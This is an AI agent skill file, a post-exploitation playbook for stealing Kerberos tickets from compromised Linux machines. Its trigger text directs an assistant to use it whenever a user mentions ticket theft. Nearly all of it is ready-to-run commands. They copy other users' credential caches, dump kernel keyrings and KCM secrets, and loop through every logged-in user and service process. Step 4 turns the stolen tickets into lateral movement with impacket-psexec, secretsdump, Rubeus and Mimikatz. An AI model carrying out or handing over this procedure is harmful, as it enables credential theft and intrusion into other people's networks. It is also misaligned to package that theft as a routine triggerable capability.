| name | linux-kerberos-ticket-harvesting |
| description | Harvest Kerberos tickets from Linux systems during post-exploitation. Use this skill whenever you have shell access to a Linux machine and need to extract Kerberos credentials (TGTs, TGS tickets) from file caches, kernel keyrings, KCM, or process memory. Trigger this when the user mentions Kerberos ticket extraction, credential harvesting on Linux, klist, keyctl, ccache extraction, or any scenario where you need to steal or copy Kerberos tickets from a compromised Linux host. |
Linux Kerberos Ticket Harvesting
This skill guides you through extracting Kerberos tickets from Linux systems during post-exploitation. Linux stores credentials in three main locations: Files, Kernel Keyrings, and Process Memory.
Quick Start
When you pop a shell on a Linux machine and need Kerberos tickets:
- Enumerate what cache types exist
- Extract using the appropriate method
- Convert to a portable format if needed
- Use the tickets for lateral movement
Step 1: Enumerate Active Caches
Before extraction, identify where credentials are stored. Run these commands to find all cache types:
klist -l 2>/dev/null || echo "No klist or no cache"
klist -A 2>/dev/null
sudo keyctl get_persistent @u 2>/dev/null
sudo keyctl show $(keyctl get_persistent @u 2>/dev/null) 2>/dev/null
sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc* 2>/dev/null
sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \; 2>/dev/null
grep -i default_ccache_name /etc/krb5.conf 2>/dev/null
What to look for:
FILE:/tmp/krb5cc_%{uid} - File-based cache (easiest to steal)
DIR:/run/user/%{uid}/krb5cc - Directory-backed cache (systemd-logind default)
KEYRING:persistent:%{uid} or KEYRING:session - Kernel keyring storage
KCM:%{uid} - SSSD Kerberos Cache Manager
MEMORY:unique_id - Process-local cache
Step 2: Extract Based on Cache Type
File/DIR Cache Extraction (Easiest)
When default_ccache_name shows FILE: or DIR::
sudo cp /tmp/krb5cc_$(id -u) /tmp/stolen.ccache
sudo cp -r /run/user/$(id -u)/krb5cc /tmp/user_dircc
chmod 600 /tmp/*.ccache
chown $(whoami) /tmp/*.ccache 2>/dev/null || true
KRB5CCNAME=/tmp/stolen.ccache klist
Keyring Extraction
When default_ccache_name shows KEYRING::
KRING=$(keyctl get_persistent @u 2>/dev/null)
keyctl show $KRING
keyctl pipe <serial_number> > /tmp/ccache_dump
KRB5CCNAME=/tmp/ccache_dump klist
Important: Check multiple keyring types:
KEYRING:persistent:%{uid} - Persists across logins
KEYRING:session - Cleared on logout
KEY_SPEC_THREAD_KEYRING - For services with helper threads
KCM (SSSD) Cache Extraction
When default_ccache_name shows KCM::
sudo kcm_ctl list
sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache
KRB5CCNAME=/tmp/1000.kcm.ccache klist
Offline KCM extraction (when socket access is blocked):
- Copy
/var/lib/sss/secrets/secrets.ldb
- Copy
/var/lib/sss/secrets/.secrets.mkey
- Use
SSSDKCMExtractor or similar tools to decrypt
Note: KCM extraction typically requires root or membership in the kcm SELinux domain.
Step 3: Convert to Portable Format
For cross-platform use (especially Windows tooling), convert MIT ccache to .kirbi format:
./kerbtool --convert --in /tmp/stolen.ccache --out stolen.kirbi
python3 ticketConverter.py /tmp/stolen.ccache stolen.kirbi
Step 4: Use the Tickets
From Linux
KRB5CCNAME=/tmp/stolen.ccache impacket-psexec user@domain.local
KRB5CCNAME=/tmp/stolen.ccache impacket-secretsdump domain/user@domain.local
KRB5CCNAME=/tmp/stolen.ccache kerbtool --ask --spn cifs/fileserver.domain.local
From Windows
# Using Rubeus
Rubeus.exe ptt /ticket:stolen.kirbi
# Using Mimikatz
mimikatz # kerberos::ptt stolen.kirbi
Helper Scripts
Use the bundled scripts for automated extraction:
./scripts/enumerate_caches.sh
sudo ./scripts/extract_keyring.sh
./scripts/convert_ticket.sh <input.ccache> <output.kirbi>
Common Scenarios
Scenario 1: Web Server with Kerberos Auth
tr "\0" "\n" < /proc/$(pgrep apache2)/environ | grep KRB5
cp $(grep KRB5 /proc/$(pgrep apache2)/environ | cut -d= -f2) /tmp/web.ccache
Scenario 2: Multiple Users Logged In
for uid in $(ls /run/user/ 2>/dev/null); do
echo "=== UID $uid ==="
ls -la /run/user/$uid/krb5cc* 2>/dev/null
sudo cp -r /run/user/$uid/krb5cc /tmp/uid${uid}_ccache 2>/dev/null
done
Scenario 3: Service Accounts
for svc in sssd_kcm gssproxy sshd; do
pid=$(pgrep -x $svc)
if [ -n "$pid" ]; then
echo "=== $svc (PID $pid) ==="
tr "\0" "\n" < /proc/$pid/environ | grep -i krb5
fi
done
Troubleshooting
| Issue | Solution |
|---|
klist: No credentials cache found | Check KRB5CCNAME env var or use klist -l to list available caches |
keyctl: Operation not permitted | Need root or CAP_SYS_ADMIN capability |
kcm_ctl: Connection refused | KCM socket may be at /run/.heim_org.h5l.kcm-socket instead |
Permission denied on cache files | Use sudo or change ownership with chown |
| Empty keyring | Check KEYRING:session or KEY_SPEC_THREAD_KEYRING instead of persistent |
Security Notes
- Keyring extraction requires understanding of kernel keyring internals
- KCM extraction typically requires privilege escalation to root
- File caches are world-readable on some misconfigured systems
- Always validate extracted tickets with
klist before attempting to use them
- Ticket expiration matters - check
klist output for validity times
References